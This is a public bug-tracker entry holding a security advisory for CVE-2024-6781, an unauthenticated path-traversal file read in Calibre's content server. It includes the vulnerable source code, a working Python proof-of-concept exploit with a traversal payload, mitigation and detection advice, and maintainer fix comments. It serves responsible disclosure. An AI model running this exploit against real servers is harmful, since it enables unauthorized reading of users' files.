CVE-2024-6781 - STAR-2024-0037 - Calibre Arbitrary File Read

Bug #2075125 reported by STAR Labs SG Pte. Ltd.
256
This bug affects 1 person
Affects Status Importance Assigned to Milestone
calibre
Fix Released
Undecided
Unassigned

Bug Description

# CVE-2024-6781 - STAR-2024-0037 - Calibre Arbitrary File Read

## Summary:

| **Product** | Calibre |
| --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| **Vendor** | Calibre |
| **Severity** | High - Unprivileged adversaries may exploit software vulnerabilities to perform relative path traversal to achieve arbitrary file read |
| **Affected Versions** | <= 7.14.0 (latest version as of writing) |
| **Tested Versions** | 7.14.0 |
| **CVE Identifier** | CVE-2024-6781 |
| **CVE Description** | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability allows Relative Path Traversal |
| **CWE Classification(s)** | CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
| **CAPEC Classification(s)** | CAPEC-139 Relative Path Traversal |

## CVSS3.1 Scoring System:

**Base Score:** 7.5 (High)
**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

| **Metric** | **Value** |
| ---------------------------- | --------- |
| **Attack Vector (AV)** | Network |
| **Attack Complexity (AC)** | Low |
| **Privileges Required (PR)** | None |
| **User Interaction (UI)** | None |
| **Scope (S)** | Unchanged |
| **Confidentiality \(C)** | High |
| **Integrity (I)** | None |
| **Availability (A)** | None |

## Product Overview:

Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.

Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time.

## Vulnerability Summary:

Arbitrary file read via Calibre's content server in Calibre <= 7.14.0.

## Vulnerability Details:

The source of the vulnerability is in `cmd_export.py`, that is called by the `cdb.py` router. The router imports a secondary module (in the format `cmd_*.py`) based on the incoming HTTP request's path. In this case, a request to `/cdb/cmd/export` will result in the file `cmd_export.py` being imported and its `implementation()` function will be executed. Additionally, the request body's content is used as `*args`.

> The list of `cmd_*.py` files can be obtained from the `src/calibre/db/cli/` directory.

```python
# src/calibre/srv/cdb.py#L28
@endpoint('/cdb/cmd/{which}/{version=0}', postprocess=msgpack_or_json, methods=receive_data_methods, cache_control='no-cache')
def cdb_run(ctx, rd, which, version):
    try:
        m = module_for_cmd(which)
    except ImportError:
        raise HTTPNotFound(f'No module named: {which}')
    if not getattr(m, 'readonly', False): # [1]
        ctx.check_for_write_access(rd)
    [...snip...]
    try:
        result = m.implementation(db, partial(ctx.notify_changes, db.backend.library_path), *args) # [2]
```

The vulnerable function is located at `cmd_export.py::implementation()`, so at [1], if the `readonly` module variable is `False` or absent, the function `check_for_write_access()` would not trigger and code execution can continue. The `implementation()` function of `cmd_export.py` module is then executed with user-controlled arguments `*args` at [2].

```python
# src/calibre/db/cli/cmd_export.py#L17
readonly = True
[...snip...]
def implementation(db, notify_changes, action, *args):
 [...snip..]
    if action == 'extra_file':
        book_id, relpath, dest = args # args parameter is sourced from request payload sequentially
        if is_remote:
            from io import BytesIO
            output = BytesIO()
            db.copy_extra_file_to(book_id, relpath, output) # [3]
            return output.getvalue()
        db.copy_extra_file_to(book_id, relpath, dest)
```

The function `db.copy_extra_file_to()` at [3], shown below, builds a relative path from the pre-configured library path, reads the file content, then stores its content into the `output` variable. The `output` BytesIO variable is subsequently returned to the user. Since there were no input sanitisation performed on the user-supplied arguments, this results in an arbitrary file read vulnerability.

```python
# src/calibre/db/backend.py#L2005
def copy_extra_file_to(self, book_id, book_path, relpath, stream_or_path):
    full_book_path = os.path.abspath(os.path.join(self.library_path, book_path))
    src_path = make_long_path_useable(os.path.join(full_book_path, relpath))
    if isinstance(stream_or_path, str):
        shutil.copy2(src_path, make_long_path_useable(stream_or_path))
    else:
        with open(src_path, 'rb') as src:
            shutil.copyfileobj(src, stream_or_path)
```

## Exploit Conditions:

This vulnerability can be exploited by an unauthenticated attacker with the default configuration of Calibre's content server which has basic authentication disabled by default, or by any privileged authenticated attacker.

Additionally, the file must be UTF-8 compatible.

## Proof-of-Concept:

We have tried our best to make the PoC as portable and cross-platform as possible. This report includes a functional exploit written in Python3 that automatically performs the arbitrary file read.

A sample exploit script is shown below:

```python
#! /usr/bin/env python3
# PoC for: CVE-2024-6781
# Description: Unauthenticated arbitrary file read in calibre <= 7.14.0
# Written by: Amos Ng (@LFlare)
import json
import sys

import requests

_target = "http://localhost:8080" # SET ME
_book_id = 1 # ensure book_id exists

def exploit(path):
    r = requests.post(
        f"{_target}/cdb/cmd/export",
        headers={"Content-Type": "application/json"},
        json=["extra_file", _book_id, path, ""],
    )
    try:
        print(r.json()["result"])
    except Exception:
        print(r.text)

if __name__ == "__main__":
    exploit("..\\..\\..\\Calibre Settings\\gui.json")
```

![](calibre-fd.gif)

## Suggested Mitigations:

Ensure that user-supplied input are properly sanitised to prevent path traversals.

## Detection Guidance:

It is possible to detect potential exploitation of the vulnerability by checking the server's access logs for POST requests to the `/cdb/cmd/export` endpoint.

## Credits:

Amos Ng ([@LFlare](https://twitter.com/lflarey)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))

## Vulnerability Disclosure:

This vulnerability report is subject to a 120 day disclosure deadline as per [STAR Labs SG Pte. Ltd.'s Vulnerability Disclosure Policy](https://starlabs.sg/advisories/STAR%20Labs%20SG%20Pte.%20Ltd.%20Vulnerability%20Disclosure%20Policy.pdf). After 120 days have elapsed, the vulnerability report will be published to the public by [STAR Labs SG Pte. Ltd.](https://starlabs.sg/) (STAR Labs).

The scheduled disclosure date is _**27 Nov, 2024**_. Disclosure at an earlier date is also possible if agreed upon by all parties.

Revision history for this message
STAR Labs SG Pte. Ltd. (starlabs-sg) wrote :
Revision history for this message
Kovid Goyal (kovid) wrote :

Fixed in branch master. The fix will be in the next release. calibre is usually released every alternate Friday.

Changed in calibre:
status: New → Fix Released
Kovid Goyal (kovid)
information type: Private Security → Public Security
Revision history for this message
Eli Schwartz (eschwartz) wrote :

Additional research:

the vulnerable code was introduced in https://github.com/kovidgoyal/calibre/commit/b45ca52f0f99aaa6da040e594ce7ba3cc7145e02

Introduced in calibre 6.16.0

Revision history for this message
Kovid Goyal (kovid) wrote :

FYI, the what's new page lists vulnerable versions of calibre already.

Revision history for this message
Eli Schwartz (eschwartz) wrote :

Yeah, just noticed it.

Revision history for this message
Eli Schwartz (eschwartz) wrote :

Alright, there we go, fixed version uploaded to Gentoo and only one patch needing to be backported to 5.44 (for the poor Qt5 users)

To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.